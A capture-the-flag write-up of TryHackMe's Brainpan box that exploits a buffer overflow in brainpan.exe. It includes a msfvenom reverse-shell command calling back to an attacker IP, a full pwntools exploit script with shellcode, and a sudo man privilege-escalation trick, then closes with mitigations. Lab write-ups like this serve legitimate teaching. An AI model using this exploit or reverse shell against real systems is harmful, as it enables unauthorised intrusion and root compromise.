🧠THM - Brainpan
Exploiting a buffer overflow and abusing sudo privileges for escalation.
Reconnaissance
We begin with the typical port scan to see what's open on the target brainpan.thm:

portcatWe get two uncommon ports so let's run an nmap scan to get a better idea of what's running.
sudo nmap -A -p9999,10000 --script=vuln,default brainpan.thmPORT STATE SERVICE VERSION
9999/tcp open abyss?
| fingerprint-strings:
| NULL:
| _| _|
| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
| _|_| _| _| _| _| _| _| _| _| _| _| _|
| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
| [________________________ WELCOME TO BRAINPAN _________________________]
|_ ENTER THE PASSWORD
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.3
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| vulners:
| cpe:/a:python:simplehttpserver:0.6:
| NODEJS:744 5.0 https://vulners.com/nodejs/NODEJS:744
|_ NODEJS:585 3.5 https://vulners.com/nodejs/NODEJS:585
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
|_http-title: Site doesn't have a title (text/html).
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-vuln-cve2006-3392: ERROR: Script execution failed (use -d to debug)
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.92%I=7%D=8/4%Time=62EB83E9%P=x86_64-pc-linux-gnu%r(NUL
SF:L,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\|\
SF:x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x
SF:20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\x2
SF:0\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x2
SF:0\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x2
SF:0\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\|\
SF:x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x2
SF:0_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x2
SF:0_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\x2
SF:0\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_\
SF:|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\x2
SF:0_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\x2
SF:0_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\x2
SF:0THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Android 4.1.1 (92%), Android 5.0 - 6.0.1 (Linux 3.4) (92%), Linux 2.6.32 (92%), Linux 3.0 - 3.2 (92%), Linux 3.0 - 3.5 (92%)
No exact OS matches for host (test conditions non-ideal).Apparently, port 9999 features a custom application that nmap can't identify. Port 10000 on the other hand appears to be a SimpleHTTP python server. Being curious of course, we connect to port 9999 with nc and see what's coming back:

For obvious reasons we wouldn't have done something like this in production (we've just executed a successful DoS attack) but since we expect a buffer overflow we can now assume that this might be it.
But enough breaking stuff, we still got a webserver to investigate.
Service Enumeration
Visiting http://brainpan.thm:10000/ in a browser we are greeted by a single image that contains several statistics about "safe coding". There's no interactive content, no links, no robots.txt. After starting a gobuster scan we do find something interesting though.
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://brainpan.thm:10000/bin (Status: 301) [Size: 0] [--> /bin/]
/index.html (Status: 200) [Size: 215] There's a /bin directory. Navigating to it leads to a directory listing with a single item in it: brainpan.exe, which we can download.
Judging from the output of the service on port 9999 and the name of the executable, we just found the binary of that seemingly vulnerable service.
To determine the file type of the executable we use file:
└─$ file brainpan.exe
brainpan.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS WindowssThat's interesting, it turns out to be a windows executable. However, the nmap scan was 95% sure that the target is running on linux. Using ping we can further support that assumption:

We should keep this in mind when it comes to exploiting a buffer overflow in order to select the right payload.
Initial Access (BOF)
Alright, we got the windows executable - let's analyse it. Usually we'd use something like checksec to extract protection mechanisms from the binary but that's for ELF only. For PE we use pesec instead (install this and other tools for PE analysis via sudo apt install pev).
└─$ pesec brainpan.exe
ASLR: no
DEP/NX: no
SEH: yes
Stack cookies (EXPERIMENTAL): noNo stack canaries, no data execution prevention and no address space layout randomization - how fortunate for us. Let's see what that code is actually doing by analyzing it with Ghidra.

main function of brainpan.exeThe main function works pretty straight forward. It follows the default socket programming procedure of creating a socket (lines <40), binding the socket to port 9999 (line 46-47) and waiting for connections with accept in an endless loop (line 56).
Following a successful connection of a client the banner that we saw earlier (stored in local_400) is send to the client (line 60). Subsequently, the server waits to receive up to 1000 bytes from the client (line 61). In line 62 the input is then passed to a function called _get_reply.
The rest of the code is sending either ACCESS DENIED or ACCESS GRANTED to the client, depending on the return value of _get_reply, before closing the connection.
Knowing that our input will be processed in _get_reply we decompile this function.

_get_reply function of brainpan.exeThe input (remember it could be up to 1000 bytes long) is copied to local_20c which is a 520 bytes long char array without any safety checks.
Step one - finding the offset.

_get_replyThe call to strcpy happens with the address EBP-520 (signed hex represention in the screenshot) as destination address. Meaning after 520 bytes of input we'll overwrite the base pointer. Hence, after 524 bytes we overwrite the return pointer.
Offset = 524 bytes
Step two - finding a return address. We'll search for a JMP ESP instruction (hex: FF E4). Any hexeditor with a search function will work:

JMP ESP instruction in the executable (using hexeditor)There's only one occurance at the file offset 0x6f3. To get the virtual address we'll also need the image base and the data offset which we can read from the section headers with readpe.

readpe brainpan.exe (pev suite)With the image base address at 0x31170000 and the address of the .text section at 0x1000 we got the virtual base address for the program code. Together with the raw offset of the code in the file (0x400) and the raw offset of our target address (0x6f3) we calculate the final address:
0x31170000
+ 0x1000
+ 0x6f3
- 0x400
-------------
= 0x311712f3We can confirm that we got the correct address by simply using the Ghidra search function.

JMP ESP with a simple searchReturn address = 0x311712f3
Step three - creating the shellcode.
Keep in mind that we got a linux target that's probably just emulating a windows binary. If this payload doesn't work we might try using different payloads instead.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.9.249.139 LPORT=4444 EXITFUNC=thread -b "\x00" -f pyStep four - the final exploit. Now we combine all the gathered information in a single exploit script.
#!/usr/bin/env python3
from pwn import * # for easy connection
offset = 524
address = b"\xf3\x12\x17\x31" # little endian
# msfvenom payload
buf = b""
buf += b"\xda\xc7\xd9\x74\x24\xf4\x5a\x33\xc9\xb8\x0f\xc7\xc2"
buf += b"\x74\xb1\x12\x83\xc2\x04\x31\x42\x13\x03\x4d\xd4\x20"
buf += b"\x81\x60\x01\x53\x89\xd1\xf6\xcf\x24\xd7\x71\x0e\x08"
buf += b"\xb1\x4c\x51\xfa\x64\xff\x6d\x30\x16\xb6\xe8\x33\x7e"
buf += b"\x43\x02\x3d\xf5\x3b\x16\xbd\x18\xe0\x9f\x5c\xaa\x7e"
buf += b"\xf0\xcf\x99\xcd\xf3\x66\xfc\xff\x74\x2a\x96\x91\x5b"
buf += b"\xb8\x0e\x06\x8b\x11\xac\xbf\x5a\x8e\x62\x13\xd4\xb0"
buf += b"\x32\x98\x2b\xb2"
p = remote("brainpan.thm", 9999)
p.sendline(b"A"*offset + address + b"\x90"*32 + buf)
We successfully exploited the buffer overflow and gained access to the target as user puck.
Looking through our home folder we notice a checksrv.sh script. This script is responsible for starting the brainpan.exe and we can see that it's indeed being emulated using wine. Note that a windows reverse shell would also have worked in this case.
Privilege Escalation
The final part of this box, escalating privileges to root, is pretty straight forward. Checking our current permissions with sudo -l we discover an application that we're allowed to run as root without a password. When executed without an argument we're shown the usage.
One command stands out: manual, as it takes an input called command. It shows the man page for the specified command. A quick search on GTFOBins leads to a shell (man allows executing commands in the interactive view).

brainpan.thmWe finished the box and got root access.
Mitigations
Although rated hard, this box focused only on a single very basic buffer overflow without any protection mechanisms. Mitigations for the buffer overflow alone include:
Enabling / enforcing ASLR
Enabling DEP
Enabling stack canaries
However, the root cause was a single unsafe string copy operation which failed to compare the length of source and destination first. Mitigation: apply safe coding practices (or use memory safe programming languages).
For the privilege escalation:
Avoid giving
sudopermissions to any user other thanroot(in this case the SUID bit might have been a better choice)
Last updated
Was this helpful?